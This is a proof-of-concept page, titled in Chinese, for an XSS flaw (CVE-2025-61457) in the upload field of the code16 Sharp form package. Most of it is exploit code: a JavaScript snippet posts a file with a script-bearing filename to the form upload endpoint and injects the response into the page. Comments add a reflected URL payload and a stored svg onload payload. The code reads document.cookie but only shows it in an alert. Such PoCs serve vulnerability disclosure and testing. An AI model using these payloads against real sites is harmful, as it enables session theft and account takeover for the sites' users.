CVE-2025-61457：code16 Sharp表单上传字段XSS漏洞

<!-- CVE-2025-61457 PoC: XSS via SharpFormUploadField --> <!-- The vulnerability exists in src/Form/Fields/SharpFormUploadField.php line 97 --> <!-- Attackers can inject malicious scripts through file upload field inputs --> <!-- Method 1: Malicious filename in upload field --> <script> // Simulate uploading a file with a malicious filename // The filename is reflected in the page without proper sanitization var maliciousFilename = '"><img src=x onerror=alert(document.cookie)>'; // Construct the malicious upload request var formData = new FormData(); var blob = new Blob(['dummy content'], { type: 'text/plain' }); formData.append('file', blob, maliciousFilename); // Submit to the vulnerable Sharp form endpoint fetch('/sharp/form/upload', { method: 'POST', body: formData }).then(response => response.text()) .then(html => { // The malicious script will execute when the upload result is displayed document.body.innerHTML = html; }); </script> <!-- Method 2: Direct XSS payload via crafted URL parameter --> <!-- URL: https://target.com/sharp/form?field=<script>alert('XSS')</script> --> <!-- Method 3: Stored XSS via form field input --> <!-- Input the following as a filename or description in the upload form: --> <!-- <svg/onload=alert('CVE-2025-61457')> -->